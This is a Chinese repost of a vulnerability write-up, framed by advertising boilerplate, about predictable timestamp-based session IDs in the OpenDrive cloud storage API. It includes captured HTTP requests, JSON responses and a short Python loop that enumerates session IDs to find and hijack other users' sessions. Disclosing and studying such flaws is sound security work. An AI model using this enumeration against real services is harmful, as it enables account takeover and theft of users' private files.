发现OpenDrive云存储平台的会话机制漏洞的示例分析

发现OpenDrive云存储平台的会话机制漏洞的示例分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

创新互联是一家以网络技术公司,为中小企业提供网站维护、成都网站设计、做网站、成都外贸网站建设公司、网站备案、服务器租用、域名注册、软件开发、成都小程序开发等企业互联网相关业务,是一家有着丰富的互联网运营推广经验的科技公司,有着多年的网站建站经验,致力于帮助中小企业在互联网让打出自已的品牌和口碑,让企业在互联网上打开一个面向全国乃至全球的业务窗口:建站欢迎咨询:028-86922220

最近在对比云存储解决方案时,我惊讶地发现很多公司仍然在提供无限量云端数据存储服务方案,像OpenDrive公司就是这样(注意别和OpenDRIVE格式规范混淆),OpenDrive公司专为个人、商业团体和公司企业提供无限存储方案。

除了传统的云存储功能外,OpenDrive还以软件客户端和移动APP的应用形式,为使用客户提供存储备份和内容管理解决方案,据OpenDrive官网介绍,包括T-Mobile、Ancestry.com和REMAX在内的很多知名公司,都是其客户群体。

发现

我通过网页客户端,注册了一个OpenDrive的试用账户进行测试。在上传了一些测试文件之后,我留意查看了其标记和API请求后发现,OpenDrive公司网站架构为WordPress,而且包括样式、登录和API使用等很多地方都有明显定制化开发的痕迹。

发现OpenDrive云存储平台的会话机制漏洞的示例分析

我还通过HTTP代理注意到,在整个存储过程中,存储机制会对两个API服务端发起调用,一个是www开头且用cookie进行验证的子域名服务端,另一个是如下以web开头并用单独的 session ID 进行验证的API服务端:

GET https://web.opendrive.com/api/v1/download/file.json/ABC123***REMOVED***?session_id=1517592191112474005&inline=0&preview=1 HTTP/1.1
Host: web.opendrive.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

注意上述GET请求中session_id中的值:

session_id=1517592191 112474005

这个值与Unix系统下的时间戳有些类似,它极有可能是用户初始登录请求时的时间点转化过来的信息---不太好是吧!实际上,前10个数字就是从我账户首次登录时的 日期/时间(data/time)信息转化过来的。

发现OpenDrive云存储平台的会话机制漏洞的示例分析

上面session_id中剩下的9位数字可能只是相同登录时间下的其它更精确的生成值,例如来自服务器端函数,如PHP的microtime中生成的毫秒。我尝试通过连续发出大量登录请求,来比较生成的session_id值进行验证,正如预测的那样,这些数字都是连续的时间值。

接下来,我决定看看这种会话机制是如何使用的,它对OpenDrive’产品的安全性影响如何。由于网页客户端对该API的调用功能有限,所以我在测试手机上安装了一个OpenDrive的安卓应用APP。

发现OpenDrive云存储平台的会话机制漏洞的示例分析

在测试手机上部署好请求代理之后,我就登录了自己的OpenDrive账户,开始浏览文件、移动文件夹、访问我账户下的其它信息。经过观察,我发现,所有API服务端都使用了相同的,且存在漏洞缺陷的以下session_id生成机制,如以下请求示例:

GET https://ai2.opendrive.com/api/v1/users/info.json/1517592191112474005 HTTP/1.1session_id: 1517592191112474005Host: ai2.opendrive.comConnection: Keep-AliveAccept-Encoding: gzipUser-Agent: okhttp/3.7.0

上述请求发起来,返回了相应的JSON响应如下:

{
 "UserID": 1853669,
 "AccessUserID": 0,
 "UserName": "***REMOVED***",
 "UserFirstName": "***REMOVED***",
 "UserLastName": "***REMOVED***",
 "PrivateKey": "***REMOVED***",
 "Trial": "0",
 "UserSince": "1517591533",
 "BwResetLast": "1517591533",
 "AccType": "1",
 "MaxStorage": "5120",
 "StorageUsed": "361144",
 "BwMax": "1024",
 "BwUsed": "0",
 "FVersioning": "0",
 "FVersions": "10",
 "DailyStat": 0,
 "UserLang": "en",
 "MaxFileSize": "102400",
 "Level": "1",
 "UserPlan": "Basic Plan",
 "TimeZone": "America\/Los_Angeles",
 "MaxAccountUsers": "1",
 "IsAccountUser": 0,
 "CompanyName": "",
 "Email": "***REMOVED***",
 "Phone": "",
 "Avatar": null,
 "AvatarColor": "a38f84",
 "AdminMode": 1,
 "DueDate": "0000-00-00",
 "WebLink": "",
 "PublicProfiles": 0,
 "RootFolderPermission": 2,
 "CanChangePwd": 1,
 "IsPartner": 0,
 "Partner": "OpenDrive",
 "SupportUrl": "http:\/\/support.opendrive.com",
 "PartnerUsersDomain": ".opendrive.com",
 "Suspended": false,
 "Affiliation": "0",
 "UserUID": "5ac61707c2ee6"
}

同样的,以上信息说明,该应用的所有方面都应该是由一个高度可预测且顺序的“session”值来控制的。以下是获取文件夹内容的请求示例:

GET https://ai2.opendrive.com/api/v1/folder/list.json/1517592191112474005/NjlfMTA2NzgyNF93RjZaUw?last_request_time=0&offset=0 HTTP/1.1
session_id: 1517592191112474005
Host: ai2.opendrive.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.7.0

响应结果如下:

{
 "DirUpdateTime": "1522940036",
 "Name": "Pictures",
 "ParentFolderID": "NjlfMF93RjZaUw",
 "DirectFolderLink": "https:\/\/od.lk\/fl\/NjlfMTA2NzgyNF8",
 "ResponseType": 1,
 "Folders": [],
 "Files": [{
  "FileId": "NjlfNzU3MTg2OV9RRDgxUA",
  "Name": "1337.jpg",
  "GroupID": 0,
  "Extension": "jpg",
  "Size": "5289",
  "Views": "0",
  "Version": "",
  "Downloads": "1",
  "DateModified": "1522940033",
  "Access": "2",
  "Link": "https:\/\/od.lk\/f\/NjlfNzU3MTg2OV8",
  "DownloadLink": "https:\/\/od.lk\/d\/NjlfNzU3MTg2OV8\/1337.jpg",
  "StreamingLink": "https:\/\/od.lk\/s\/NjlfNzU3MTg2OV8\/1337.jpg",
  "TempStreamingLink": "https:\/\/ai2.opendrive.com\/api\/download\/file.json\/NjlfNzU3MTg2OV8?inline=1",
  "ThumbLink": "https:\/\/ai2.opendrive.com\/api\/file\/thumb.json\/NjlfNzU3MTg2OV9RRDgxUA?session_id=19ebbbef64d8a5404cc0b16603cea3de659c607a23ae639986d5e5c477f6b5e8",
  "Password": "",
  "EditOnline": 1
 }, {
  "FileId": "NjlfNzU3MTg3MF9ZQ3NDYg",
  "Name": "test.jpg",
  "GroupID": 0,
  "Extension": "jpg",
  "Size": "51756",
  "Views": "0",
  "Version": "",
  "Downloads": "0",
  "DateModified": "1522940034",
  "Access": "2",
  "Link": "https:\/\/od.lk\/f\/NjlfNzU3MTg3MF8",
  "DownloadLink": "https:\/\/od.lk\/d\/NjlfNzU3MTg3MF8\/test.jpg",
  "StreamingLink": "https:\/\/od.lk\/s\/NjlfNzU3MTg3MF8\/test.jpg",
  "TempStreamingLink": "https:\/\/ai2.opendrive.com\/api\/download\/file.json\/NjlfNzU3MTg3MF8?inline=1",
  "ThumbLink": "https:\/\/ai2.opendrive.com\/api\/file\/thumb.json\/NjlfNzU3MTg3MF9ZQ3NDYg?session_id=19ebbbef64d8a5404cc0b16603cea3de659c607a23ae639986d5e5c477f6b5e8",
  "Password": "",
  "EditOnline": 1
 }]
}

注意了,通过分析,我发现,在这种会话机制下,任何OpenDrive系统下的用户账户都会被劫持,而且各自的私人文件都会被以下一段简单的脚本来实现获取或破坏,这种情况很难认为它是一个漏洞,也不会觉得是一种根本的设计缺陷。

url = "https://ai2.opendrive.com/api/v1/users/info.json"
session = 1517592191112474005
while True:
    f_url = "{}/{}".format(url, session)
    r = requests.get(f_url)
    if r.status_code == 200:
        print(f_url)
    session -= 1

漏洞利用场景

这种会话机制的风险显而易见,但主要存在两种攻击场景:一是有适度资源支持的攻击者可以轻易地探测到系统中有效的其它用户会话;二是针对单个用户的定向攻击只需知道用户的大概登录时间,这缩小了攻击者的会话查找范围。其它风险隐患:

会话不会过期,OpenDrive系统下我二月份测试的会话在三月份仍然有效;

每次登录都会生成一个新的会话,这也意味着,任何给定用户会存在多种会话条目;

存在漏洞的会话机制不只存在于安卓 APP/客户端,一样存在于网页和桌面系统的其它客户端中,实际上也就是说,所有OpenDrive用户都会受到影响。

不清楚在之前的OpenDrive的缓解措施中,这种会话还存在多少,但可以肯定的是,这确实是一个安全威胁。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注创新互联行业资讯频道,感谢您对创新互联的支持。


文章题目:发现OpenDrive云存储平台的会话机制漏洞的示例分析
网址分享:http://scyanting.com/article/pdiejh.html